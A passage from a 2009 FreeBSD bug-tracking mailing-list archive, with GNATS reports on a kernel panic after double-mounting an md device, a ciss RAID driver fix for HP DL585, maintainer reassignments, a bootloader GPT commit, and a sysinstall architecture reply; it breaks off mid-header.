905B realy realy slow when using multiple ad o bin/18498 jhb allowing ELF_VERBOSE in /etc/make.conf o bin/18326 dwmalone no /usr/libdata/lint/llib-lc.ln o bin/18319 dump(8) fails with "cannot reopen disk: interrupted sy o kern/18293 [psm] [patch] lack of versapad mouse wheel emulation o kern/18271 [patch] simplelock: klds not portable across UP and SM o kern/18200 mdodd 3com 3c509b recognized twice during boot s bin/18114 iostat(8): msps from iostat is wrong o bin/18100 [patch] update to src/usr.bin/from/from.c for multiple o conf/17993 obrien improving on the default /etc/amd.map s i386/17662 gibbs [cam] cam_xpt.c incorrectly disables tagged queuing fo o bin/17623 date(1) -v doesn't handle time changes (DST) correctly s conf/17540 [nfs] NIS host lookups cause NFS mounts to wedge at bo o kern/17504 [cam] [patch] Another Micropolis Synchronize Cache Pro o kern/17425 [ppbus] [patch] fix two small printing errors in ppbus p bin/17363 matteo crontab(1) leaves files in /var/cron/tabs when interru o bin/17289 gad [patch] wrong permissions on /var/run/printer s kern/17109 darrenr fastroute crashes for lo0 udp s kern/17108 [nfs] SecureRPC not supported in mount_nfs command o bin/16948 sysinstall(8): sysinstall/disklabel: bad partition tab o kern/16765 bde Add support for mark/space parity o kern/16644 dwmalone [bpf] [patch] Bad comparison expression in bpf_filter. p misc/15876 edwin [picobsd] PicoBSD message of the day problems o kern/15838 trhodes [msdosfs] [patch] Conversion tables in msdosfs_conv.c o bin/15619 peter [patch] standard pppd(8) doesn't authenticate users wi s kern/15478 incorrect utmp/wtmp records update upon connection bei s kern/15436 [syscons] syscons extension: "propellers" o bin/15205 [patch] Addition to random(6) o bin/15168 [patch] Adding tracklist support to fdformat(1) a kern/15095 silby TCP's advertised window is not scaled immediately upon o bin/15038 sysinstall(8): easy to not notice that selection lists p conf/15010 keramida [patch] rc.firewall: "client" firewall configuration k s bin/14925 standards getsubopt isn't poisonous enough a bin/14682 gad lprm(1) unaware of lp(1) Environment Variables (LPDEST o kern/14646 kern.boottime affected by APM suspend/resume s kern/14562 ioctl() codes should be provided for ejecting all remo o bin/14318 randi sysinstall(8): sysinstall upon install has some counte s kern/13997 rwatson [jail] [patch] RLIMIT_NPROC works unadequately for jai o bin/13882 mount(8) mount -p is missing the quota options s bin/13869 man(1) program saves multiple cached copies of the sam s conf/13775 multi-user boot may hang in NIS environment o bin/13397 vi(1) nvi mishandles tags files under certain conditio f kern/13326 kmacy [headers] [patch] additional timeval interfaces for .root fails to become root s bin/3170 vi(1): vi freaks and dump core if user doesn't exist s kern/2298 [sio] [patch] [request] support for DSR/DCD swapping o s bin/2137 vm statistics are bad s bin/2090 [patch] [nis] clients may bind to FreeBSD ypserv refus a bin/1375 linimon [patch] Extraneous warning from mv(1) 5744 problems total. From owner-freebsd-bugs@FreeBSD.ORG Mon Jul 13 14:20:01 2009 Return-Path: Delivered-To: freebsd-bugs@hub.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 464EE1065673 for ; Mon, 13 Jul 2009 14:20:01 +0000 (UTC) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (freefall.freebsd.org [IPv6:2001:4f8:fff6::28]) by mx1.freebsd.org (Postfix) with ESMTP id 1FFDF8FC25 for ; Mon, 13 Jul 2009 14:20:01 +0000 (UTC) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (gnats@localhost [127.0.0.1]) by freefall.freebsd.org (8.14.3/8.14.3) with ESMTP id n6DEK11F096138 for ; Mon, 13 Jul 2009 14:20:01 GMT (envelope-from gnats@freefall.freebsd.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.14.3/8.14.3/Submit) id n6DEK0Lu096137; Mon, 13 Jul 2009 14:20:00 GMT (envelope-from gnats) Resent-Date: Mon, 13 Jul 2009 14:20:00 GMT Resent-Message-Id: <200907131420.n6DEK0Lu096137@freefall.freebsd.org> Resent-From: FreeBSD-gnats-submit@FreeBSD.org (GNATS Filer) Resent-To: freebsd-bugs@FreeBSD.org Resent-Reply-To: FreeBSD-gnats-submit@FreeBSD.org, Andreas Longwitz Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 239E5106566B for ; Mon, 13 Jul 2009 14:11:49 +0000 (UTC) (envelope-from nobody@FreeBSD.org) Received: from www.freebsd.org (www.freebsd.org [IPv6:2001:4f8:fff6::21]) by mx1.freebsd.org (Postfix) with ESMTP id 0DAF38FC08 for ; Mon, 13 Jul 2009 14:11:49 +0000 (UTC) (envelope-from nobody@FreeBSD.org) Received: from www.freebsd.org (localhost [127.0.0.1]) by www.freebsd.org (8.14.3/8.14.3) with ESMTP id n6DEBmVi021472 for ; Mon, 13 Jul 2009 14:11:48 GMT (envelope-from nobody@www.freebsd.org) Received: (from nobody@localhost) by www.freebsd.org (8.14.3/8.14.3/Submit) id n6DEBmpJ021470; Mon, 13 Jul 2009 14:11:48 GMT (envelope-from nobody) Message-Id: <200907131411.n6DEBmpJ021470@www.freebsd.org> Date: Mon, 13 Jul 2009 14:11:48 GMT From: Andreas Longwitz To: freebsd-gnats-submit@FreeBSD.org X-Send-Pr-Version: www-3.1 Cc: Subject: kern/136714: panic after mdconfig and double mount and single umount X-BeenThere: freebsd-bugs@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Bug reports List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 13 Jul 2009 14:20:01 -0000 >Number: 136714 >Category: kern >Synopsis: panic after mdconfig and double mount and single umount >Confidential: no >Severity: serious >Priority: medium >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Mon Jul 13 14:20:00 UTC 2009 >Closed-Date: >Last-Modified: >Originator: Andreas Longwitz >Release: 6.4-STABLE >Organization: Data Service Stockelsdorf >Environment: FreeBSD loserver.longwitz 6.4-STABLE FreeBSD 6.4-STABLE #1: Sat Jun 6 00:31:43 CEST 2009 root@loserver.longwitz:/usr/src/sys/i386/compile/LOSERVER i386 >Description: In /var/floppies/V64 I have a copy of the FreeBSD 64 floppy imagefiles. cd /var/floppies/V64 mkdir -p mnt mdconfig -a -t vnode -f boot.flp -u 1 mount -v -r /dev/md1c mnt <-- /dev/md1c on /var/floppies/V64/mnt (ufs, local, read-only, fsid 0d412d49e141550b) mount -v -r /dev/md1c mnt <-- /dev/md1c on /var/floppies/V64/mnt (ufs, local, read-only, fsid 0aff000505000000) umount -v mnt <-- /dev/md1c: unmount from /var/floppies/V64/mnt ls -laFo <-- total 7341 drwxr-xr-x 3 root wheel - 512 13 Jul 00:37 ./ drwxr-xr-x 4 root wheel - 512 12 Jul 17:21 ../ -r--r--r-- 1 root wheel - 55809 26 Nov 2008 README.TXT -r--r--r-- 1 root wheel - 1474560 26 Nov 2008 boot.flp -r--r--r-- 1 root wheel - 1474560 26 Nov 2008 fixit.flp -r--r--r-- 1 root wheel - 1474560 26 Nov 2008 kern1.flp -r--r--r-- 1 root wheel - 1474560 26 Nov 2008 kern2.flp -r--r--r-- 1 root wheel - 1474560 26 Nov 2008 kern3.flp drwxr-xr-x 4 root wheel - 512 26 Nov 2008 mnt/ ls -laFo mnt ==> PANIC Fatal trap 12: page fault while in kernel mode cpuid = 0; apic id = 00 fault virtual address = 0x0 fault code = supervisor read, page not present instruction pointer = 0x20:0xc053858a stack pointer = 0x28:0xe8f5da4c frame pointer = 0x28:0xe8f5da60 code segment = base 0x0, limit 0xfffff, type 0x1b = DPL 0, pres 1, def32 1, gran 1 processor eflags = interrupt enabled, resume, IOPL = 0 current process = 86044 (ls) trap number = 12 panic: page fault cpuid = 0 KDB: stack backtrace: kdb_backtrace(100,c6c7b780,28,e8f5da0c,c,...) at kdb_backtrace+0x29 panic(c078c5e2,c07c58f3,0,fffff,c6c7ea9b,...) at panic+0x114 trap_fatal(e8f5da0c,0,c6c7b780,c63d3000,c,...) at trap_fatal+0x2ce trap_pfault(e8f5da0c,0,0) at trap_pfault+0x1d7 trap(cb5e0008,e8f50028,28,c99c2180,0,...) at trap+0x2fd calltrap() at calltrap+0x5 --- trap 0xc, eip = 0xc053858a, esp = 0xe8f5da4c, ebp = 0xe8f5da60 --- g_io_request(c7168738,c99c2180,da586d60,da586d60,e8f5da94,...) at g_io_request+0x16 g_vfs_strategy(caf901d0,da586d60,da586d60,0,c69f1420,...) at g_vfs_strategy+0x49 ffs_geom_strategy(caf901d0,da586d60,48,0,c08005e0,...) at ffs_geom_strategy+0x141 ufs_strategy(e8f5dadc) at ufs_strategy+0xb5 VOP_STRATEGY_APV(c07ffee0,e8f5dadc) at VOP_STRATEGY_APV+0x51 bufstrategy(cb5ee3f0,da586d60) at bufstrategy+0x28 breadn(cb5ee330,0,0,200,0,...) at breadn+0xb9 bread(cb5ee330,0,0,200,0,...) at bread+0x20 ffs_read(e8f5dc10) at ffs_read+0x21b VOP_READ_APV(c07ffee0,e8f5dc10) at VOP_READ_APV+0x38 ufs_readdir(e8f5dc6c) at ufs_readdir+0xd1 VOP_READDIR_APV(c07ffee0,e8f5dc6c) at VOP_READDIR_APV+0x38 kern_getdirentries(c6c7b780,5,8057000,1000,e8f5dcd4) at kern_getdirentries+0x1d3 getdirentries(c6c7b780,e8f5dd04) at getdirentries+0x1e syscall(3b,3b,3b,8050080,1,...) at syscall+0x2d7 Xint0x80_syscall() at Xint0x80_syscall+0x1f --- syscall (196, FreeBSD ELF32, getdirentries), eip = 0x88171eb3, esp = 0xbfbfe1fc, ebp = 0xbfbfe228 --- Uptime: 8d12h37m4s Dumping 2038 MB (2 chunks) chunk 0: 1MB (159 pages) ... ok chunk 1: 2039MB (521776 pages) 2023 2007 ... 23 7 #0 doadump () at pcpu.h:165 165 pcpu.h: No such file or directory. in pcpu.h (kgdb) where #0 doadump () at pcpu.h:165 #1 0xc0596579 in boot (howto=260) at ../../../kern/kern_shutdown.c:410 #2 0xc05968d1 in panic (fmt=0xc078c5e2 "%s") at ../../../kern/kern_shutdown.c:566 #3 0xc075cbe6 in trap_fatal (frame=0xe8f5da0c, eva=0) at ../../../i386/i386/trap.c:838 #4 0xc075c8ef in trap_pfault (frame=0xe8f5da0c, usermode=0, eva=0) at ../../../i386/i386/trap.c:745 #5 0xc075c505 in trap (frame= {tf_fs = -883032056, tf_es = -386596824, tf_ds = 40, tf_edi = -912514688, tf_esi = 0, tf_ebp = -386540960, tf_isp = -386541000, tf_ebx = -954824904, tf_edx = 512, tf_ecx = 0, tf_eax = 1, tf_trapno = 12, tf_err = 0, tf_eip = -1068268150, tf_cs = 32, tf_eflags = 66182, tf_esp = 1, tf_ss = -889650928}) at ../../../i386/i386/trap.c:435 #6 0xc07473ea in calltrap () at ../../../i386/i386/exception.s:139 #7 0xc053858a in g_io_request (bp=0xc7168738, cp=0xc99c2180) at ../../../geom/geom_io.c:275 #8 0xc053ab55 in g_vfs_strategy (bo=0x1, bp=0xda586d60) at ../../../geom/geom_vfs.c:107 #9 0xc06eedb9 in ffs_geom_strategy (bo=0xcaf901d0, bp=0xda586d60) at ../../../ufs/ffs/ffs_vfsops.c:1801 #10 0xc06fcc21 in ufs_strategy (ap=0x1) at ../../../ufs/ufs/ufs_vnops.c:1994 #11 0xc0769cbd in VOP_STRATEGY_APV (vop=0xc08005e0, a=0xe8f5dadc) at vnode_if.c:1796 #12 0xc05e6f3c in bufstrategy (bo=0xcb5ee3f0, bp=0x1) at vnode_if.h:928 #13 0xc05e1761 in breadn (vp=0xcb5ee330, blkno=0, size=512, rablkno=0x0, rabsize=0x0, cnt=0, cred=0x0, bpp=0x1) at buf.h:426 #14 0xc05e16a4 in bread (vp=0xcb5ee330, blkno=0, size=512, cred=0x0, bpp=0xe8f5db9c) at ../../../kern/vfs_bio.c:723 #15 0xc06ef557 in ffs_read (ap=0x1) at ../../../ufs/ffs/ffs_vnops.c:494 #16 0xc0769344 in VOP_READ_APV (vop=0x1, a=0x200) at vnode_if.c:643 #17 0xc06fc8e5 in ufs_readdir (ap=0xe8f5dc6c) at vnode_if.h:343 #18 0xc07699c8 in VOP_READDIR_APV (vop=0x1, a=0x200) at vnode_if.c:1427 #19 0xc05fe833 in kern_getdirentries (td=0xc6c7b780, fd=0, buf=0x8057000
, count=4096, basep=0x1) at vnode_if.h:746 #20 0xc05fe632 in getdirentries (td=0xc6c7b780, uap=0xe8f5dd04) at ../../../kern/vfs_syscalls.c:3694 #21 0xc075cf43 in syscall (frame= {tf_fs = 59, tf_es = 59, tf_ds = 59, tf_edi = 134545536, tf_esi = 1, tf_ebp = -1077943768, tf_isp = -386540188, tf_ebx = -2011598528, tf_edx = 0, tf_ecx = -2011598528, tf_eax = 196, tf_trapno = 12, tf_err = 2, tf_eip = -2011750733, tf_cs = 51, tf_eflags = 582, tf_esp = -1077943812, tf_ss = 59}) at ../../../i386/i386/trap.c:984 #22 0xc074743f in Xint0x80_syscall () at ../../../i386/i386/exception.s:200 #23 0x00000033 in ?? () Previous frame inner to this frame (corrupt stack?) (kgdb) quit >How-To-Repeat: >Fix: >Release-Note: >Audit-Trail: >Unformatted: From owner-freebsd-bugs@FreeBSD.ORG Mon Jul 13 14:50:02 2009 Return-Path: Delivered-To: freebsd-bugs@hub.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 567171065670 for ; Mon, 13 Jul 2009 14:50:02 +0000 (UTC) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (freefall.freebsd.org [IPv6:2001:4f8:fff6::28]) by mx1.freebsd.org (Postfix) with ESMTP id 3266C8FC1E for ; Mon, 13 Jul 2009 14:50:02 +0000 (UTC) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (gnats@localhost [127.0.0.1]) by freefall.freebsd.org (8.14.3/8.14.3) with ESMTP id n6DEo1fJ020504 for ; Mon, 13 Jul 2009 14:50:01 GMT (envelope-from gnats@freefall.freebsd.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.14.3/8.14.3/Submit) id n6DEo143020503; Mon, 13 Jul 2009 14:50:01 GMT (envelope-from gnats) Resent-Date: Mon, 13 Jul 2009 14:50:01 GMT Resent-Message-Id: <200907131450.n6DEo143020503@freefall.freebsd.org> Resent-From: FreeBSD-gnats-submit@FreeBSD.org (GNATS Filer) Resent-To: freebsd-bugs@FreeBSD.org Resent-Reply-To: FreeBSD-gnats-submit@FreeBSD.org, Andrew Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 52767106564A for ; Mon, 13 Jul 2009 14:40:18 +0000 (UTC) (envelope-from nobody@FreeBSD.org) Received: from www.freebsd.org (www.freebsd.org [IPv6:2001:4f8:fff6::21]) by mx1.freebsd.org (Postfix) with ESMTP id 270898FC08 for ; Mon, 13 Jul 2009 14:40:18 +0000 (UTC) (envelope-from nobody@FreeBSD.org) Received: from www.freebsd.org (localhost [127.0.0.1]) by www.freebsd.org (8.14.3/8.14.3) with ESMTP id n6DEeHlb046413 for ; Mon, 13 Jul 2009 14:40:17 GMT (envelope-from nobody@www.freebsd.org) Received: (from nobody@localhost) by www.freebsd.org (8.14.3/8.14.3/Submit) id n6DEeHgL046412; Mon, 13 Jul 2009 14:40:17 GMT (envelope-from nobody) Message-Id: <200907131440.n6DEeHgL046412@www.freebsd.org> Date: Mon, 13 Jul 2009 14:40:17 GMT From: Andrew To: freebsd-gnats-submit@FreeBSD.org X-Send-Pr-Version: www-3.1 Cc: Subject: misc/136718: ciss driver issue on HP DL585 X-BeenThere: freebsd-bugs@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Bug reports List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 13 Jul 2009 14:50:02 -0000 >Number: 136718 >Category: misc >Synopsis: ciss driver issue on HP DL585 >Confidential: no >Severity: serious >Priority: high >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Mon Jul 13 14:50:01 UTC 2009 >Closed-Date: >Last-Modified: >Originator: Andrew >Release: 8.0-BETA1 >Organization: >Environment: FreeBSD gboff01-gs-me02.complinet.local 8.0-BETA1 FreeBSD 8.0-BETA1 #1: Mon Jul 13 15:07:40 BST 2009 root@:/usr/obj/usr/src/sys/NODEBUG amd64 >Description: whilst attempting a `portsnap fetch` on a HP DL585 updated to 8.0-BETA1 I get the following kernel messages: Jul 13 14:23:40 gboff01-gs-me02 kernel: ciss0: invalid command, offense size 0 at 52, value 0x0, function ciss_cam_complete Jul 13 14:23:40 gboff01-gs-me02 last message repeated 4 times Jul 13 14:23:40 gboff01-gs-me02 kernel: g_vfs_done():da0s1d[WRITE(offset=5218385920, length=131072)]error = 5 Jul 13 14:23:41 gboff01-gs-me02 kernel: ciss0: invalid command, offense size 0 at 52, value 0x0, function ciss_cam_complete Jul 13 14:23:41 gboff01-gs-me02 last message repeated 4 times Jul 13 14:23:41 gboff01-gs-me02 kernel: g_vfs_done():da0s1d[WRITE(offset=5218385920, length=131072)]error = 5 ciss0: ciss0@pci0:2:4:0: class=0x010400 card=0x40800e11 chip=0xb1780e11 rev=0x01 hdr=0x00 vendor = 'Compaq Computer Corp (Now owned by Hewlett-Packard)' device = 'SMART2 Array Controller (CISSB)' class = mass storage subclass = RAID cap 01[c0] = powerspec 2 supports D0 D1 D3 current D0 cap 05[cc] = MSI supports 2 messages, 64 bit cap 07[dc] = PCI-X 64-bit supports 512 burst read, 4 split transactions dmesg extract: ciss0: port 0x5000-0x50ff mem 0xf7bc0000-0xf7bfffff,0xf5ef0000-0xf5ef3fff irq 18 at device 4.0 on pci2 ciss0: PERFORMANT Transport ciss0: [ITHREAD] >How-To-Repeat: Install 8.0-BETA1 on a HP DL585G1, attempt any significant disk activity. >Fix: The following patch to cissvar.h seems to correct the issue, unsure if this is the correct fix: --- sys/dev/ciss/cissvar.h.orig 2009-07-13 14:41:23.000000000 +0100 +++ sys/dev/ciss/cissvar.h 2009-07-13 14:41:34.000000000 +0100 @@ -137,7 +137,7 @@ * too small. */ -#define CISS_COMMAND_ALLOC_SIZE 512 /* XXX tune to get sensible s/g list length */ +#define CISS_COMMAND_ALLOC_SIZE 1024 /* XXX tune to get sensible s/g list length */ #define CISS_COMMAND_SG_LENGTH ((CISS_COMMAND_ALLOC_SIZE - sizeof(struct ciss_command)) \ / sizeof(struct ciss_sg_entry)) With the kernel recompiled, which it wouldn't survive without the patch, I can `portsnap fetch` and `portsnap extract` without errors. >Release-Note: >Audit-Trail: >Unformatted: From owner-freebsd-bugs@FreeBSD.ORG Mon Jul 13 15:10:04 2009 Return-Path: Delivered-To: freebsd-bugs@hub.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 58CFF1065673; Mon, 13 Jul 2009 15:10:04 +0000 (UTC) (envelope-from linimon@FreeBSD.org) Received: from freefall.freebsd.org (freefall.freebsd.org [IPv6:2001:4f8:fff6::28]) by mx1.freebsd.org (Postfix) with ESMTP id 2EB348FC08; Mon, 13 Jul 2009 15:10:04 +0000 (UTC) (envelope-from linimon@FreeBSD.org) Received: from freefall.freebsd.org (linimon@localhost [127.0.0.1]) by freefall.freebsd.org (8.14.3/8.14.3) with ESMTP id n6DFA4ek035447; Mon, 13 Jul 2009 15:10:04 GMT (envelope-from linimon@freefall.freebsd.org) Received: (from linimon@localhost) by freefall.freebsd.org (8.14.3/8.14.3/Submit) id n6DFA4Bt035441; Mon, 13 Jul 2009 15:10:04 GMT (envelope-from linimon) Date: Mon, 13 Jul 2009 15:10:04 GMT Message-Id: <200907131510.n6DFA4Bt035441@freefall.freebsd.org> To: linimon@FreeBSD.org, freebsd-bugs@FreeBSD.org, freebsd-scsi@FreeBSD.org From: linimon@FreeBSD.org Cc: Subject: Re: kern/136718: [ciss] ciss driver issue on HP DL585 X-BeenThere: freebsd-bugs@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Bug reports List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 13 Jul 2009 15:10:04 -0000 Old Synopsis: ciss driver issue on HP DL585 New Synopsis: [ciss] ciss driver issue on HP DL585 Responsible-Changed-From-To: freebsd-bugs->freebsd-scsi Responsible-Changed-By: linimon Responsible-Changed-When: Mon Jul 13 15:09:44 UTC 2009 Responsible-Changed-Why: Over to maintainer(s). http://www.freebsd.org/cgi/query-pr.cgi?pr=136718 From owner-freebsd-bugs@FreeBSD.ORG Mon Jul 13 15:14:02 2009 Return-Path: Delivered-To: freebsd-bugs@hub.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id E0B2D1065670; Mon, 13 Jul 2009 15:14:02 +0000 (UTC) (envelope-from linimon@FreeBSD.org) Received: from freefall.freebsd.org (freefall.freebsd.org [IPv6:2001:4f8:fff6::28]) by mx1.freebsd.org (Postfix) with ESMTP id B51F78FC1A; Mon, 13 Jul 2009 15:14:02 +0000 (UTC) (envelope-from linimon@FreeBSD.org) Received: from freefall.freebsd.org (linimon@localhost [127.0.0.1]) by freefall.freebsd.org (8.14.3/8.14.3) with ESMTP id n6DFE2JD043115; Mon, 13 Jul 2009 15:14:02 GMT (envelope-from linimon@freefall.freebsd.org) Received: (from linimon@localhost) by freefall.freebsd.org (8.14.3/8.14.3/Submit) id n6DFE2Wg043111; Mon, 13 Jul 2009 15:14:02 GMT (envelope-from linimon) Date: Mon, 13 Jul 2009 15:14:02 GMT Message-Id: <200907131514.n6DFE2Wg043111@freefall.freebsd.org> To: linimon@FreeBSD.org, freebsd-bugs@FreeBSD.org, freebsd-net@FreeBSD.org From: linimon@FreeBSD.org Cc: Subject: Re: kern/136695: [ip] [patch] fwd reached after skipto in dynamic rules does not work in every case X-BeenThere: freebsd-bugs@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Bug reports List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 13 Jul 2009 15:14:03 -0000 Old Synopsis: fwd reached after skipto in dynamic rules does not work in every case [PATCH] New Synopsis: [ip] [patch] fwd reached after skipto in dynamic rules does not work in every case Responsible-Changed-From-To: freebsd-bugs->freebsd-net Responsible-Changed-By: linimon Responsible-Changed-When: Mon Jul 13 15:13:10 UTC 2009 Responsible-Changed-Why: Over to maintainer(s). http://www.freebsd.org/cgi/query-pr.cgi?pr=136695 From owner-freebsd-bugs@FreeBSD.ORG Mon Jul 13 16:40:06 2009 Return-Path: Delivered-To: freebsd-bugs@hub.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 1C6E91065676 for ; Mon, 13 Jul 2009 16:40:06 +0000 (UTC) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (freefall.freebsd.org [IPv6:2001:4f8:fff6::28]) by mx1.freebsd.org (Postfix) with ESMTP id EEE9B8FC21 for ; Mon, 13 Jul 2009 16:40:05 +0000 (UTC) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (gnats@localhost [127.0.0.1]) by freefall.freebsd.org (8.14.3/8.14.3) with ESMTP id n6DGe5uS010569 for ; Mon, 13 Jul 2009 16:40:05 GMT (envelope-from gnats@freefall.freebsd.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.14.3/8.14.3/Submit) id n6DGe5jt010568; Mon, 13 Jul 2009 16:40:05 GMT (envelope-from gnats) Date: Mon, 13 Jul 2009 16:40:05 GMT Message-Id: <200907131640.n6DGe5jt010568@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.org From: dfilter@FreeBSD.ORG (dfilter service) Cc: Subject: Re: kern/134590: commit references a PR X-BeenThere: freebsd-bugs@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: dfilter service List-Id: Bug reports List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 13 Jul 2009 16:40:06 -0000 The following reply was made to PR kern/134590; it has been noted by GNATS. From: dfilter@FreeBSD.ORG (dfilter service) To: bug-followup@FreeBSD.org Cc: Subject: Re: kern/134590: commit references a PR Date: Mon, 13 Jul 2009 16:36:18 +0000 (UTC) Author: rpaulo Date: Mon Jul 13 16:36:04 2009 New Revision: 195657 URL: http://svn.freebsd.org/changeset/base/195657 Log: MFC r195045: On special systems where the MBR and the GPT are in sync (up to the 4th slicei, Apple EFI hardware), the bootloader will fail to recognize the GPT if it finds anything else but the EFI partition. Change the check to continue detecting the GPT by looking at the EFI partition on the MBR but stopping successfuly after finding it. PR: kern/134590 Submitted by: Christoph Langguth Reviewed by: jhb Modified: stable/7/sys/ (props changed) stable/7/sys/boot/i386/libi386/biosdisk.c stable/7/sys/contrib/pf/ (props changed) stable/7/sys/geom/label/ (props changed) stable/7/sys/geom/label/g_label.c (props changed) Modified: stable/7/sys/boot/i386/libi386/biosdisk.c ============================================================================== --- stable/7/sys/boot/i386/libi386/biosdisk.c Mon Jul 13 12:53:43 2009 (r195656) +++ stable/7/sys/boot/i386/libi386/biosdisk.c Mon Jul 13 16:36:04 2009 (r195657) @@ -888,7 +888,7 @@ bd_open_gpt(struct open_disk *od, struct for (i = 0; i < NDOSPART; i++) { if (dp[i].dp_typ == 0xee) part++; - else if (dp[i].dp_typ != 0x00) + else if ((part != 1) && (dp[i].dp_typ != 0x00)) return (EINVAL); } if (part != 1) _______________________________________________ svn-src-all@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/svn-src-all To unsubscribe, send any mail to "svn-src-all-unsubscribe@freebsd.org" From owner-freebsd-bugs@FreeBSD.ORG Mon Jul 13 17:30:06 2009 Return-Path: Delivered-To: freebsd-bugs@hub.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 728041065675 for ; Mon, 13 Jul 2009 17:30:06 +0000 (UTC) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (freefall.freebsd.org [IPv6:2001:4f8:fff6::28]) by mx1.freebsd.org (Postfix) with ESMTP id 607088FC36 for ; Mon, 13 Jul 2009 17:30:06 +0000 (UTC) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (gnats@localhost [127.0.0.1]) by freefall.freebsd.org (8.14.3/8.14.3) with ESMTP id n6DHU6FE046720 for ; Mon, 13 Jul 2009 17:30:06 GMT (envelope-from gnats@freefall.freebsd.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.14.3/8.14.3/Submit) id n6DHU6j7046719; Mon, 13 Jul 2009 17:30:06 GMT (envelope-from gnats) Date: Mon, 13 Jul 2009 17:30:06 GMT Message-Id: <200907131730.n6DHU6j7046719@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.org From: John Baldwin Cc: Subject: Re: amd64/136161: sysinstall installs wrong architecture X-BeenThere: freebsd-bugs@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: John Baldwin List-Id: Bug reports List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 13 Jul 2009 17:30:06 -0000 The following reply was made to PR bin/136161; it has been noted by GNATS. From: John Baldwin To: freebsd-amd64@freebsd.org Cc: Yuriy Glukhov , freebsd-gnats-submit@freebsd.org Subject: Re: amd64/136161: sysinstall installs wrong architecture Date: Mon, 13 Jul 2009 11:40:33 -0400 On Monday 29 June 2009 10:42:22 am Yuriy Glukhov wrote: > > >Number: 136161 > >Category: amd64 > >Synopsis: sysinstall installs wrong architecture > >Confidential: no > >Severity: non-critical > >Priority: medium > >Responsible: freebsd-amd64 > >State: open > >Quarter: > >Keywords: > >Date-Required: > >Class: sw-bug > >Submitter-Id: current-users > >Arrival-Date: Mon Jun 29 14:50:00 UTC 2009 > >Closed-Date: > >Last-Modified: > >Originator: Yuriy Glukhov > >Release: 7.2 > >Organization: > >Environment: > FreeBSD test.localdomain 7.2-RELEASE FreeBSD 7.2-RELEASE #0: Fri May 1 07:18:07 UTC 2009 root@driscoll.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC amd64 > >Description: > 1. Install an amd64 distribution on a USB pen drive. > 2. Install the pen drive to a Xeon server. > 3. Boot from the pen drive. > 4. Run sysinstall, and install (standard installation) the OS to the local HDD, using one of FreeBSD FTPs. > 5. Remove the pen drive and boot from the HDD with newly installed system. > 6. Observe the uname -a. > > Actual result: the architecture is i386. > Expected result: the architecture should be amd64. Are you sure you had amd64 on the pen drive (verified with uname -a). The arch to install is hard-coded into the sysinstall binary at build time such that an amd64 sysinstall can only install an amd64 release. -- John Baldwin From owner-freebsd-bugs@FreeBSD.ORG Mon Jul 13 20:00:08 2009 Return-Path: Delivered-To: freebsd-bugs@hub.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 3BF9C1065673 for ; Mon, 13 Jul 2009 20:00:08 +0000 (UTC) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (freefall.freebsd.org [IPv6:2001:4f8:fff6::28]) by mx1.freebsd.org (Postfix) with ESMTP id F2D7C8FC16 for ; Mon, 13 Jul 2009 20:00:07 +0000 (UTC) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (gnats@localhost [127.0.0.1]) by 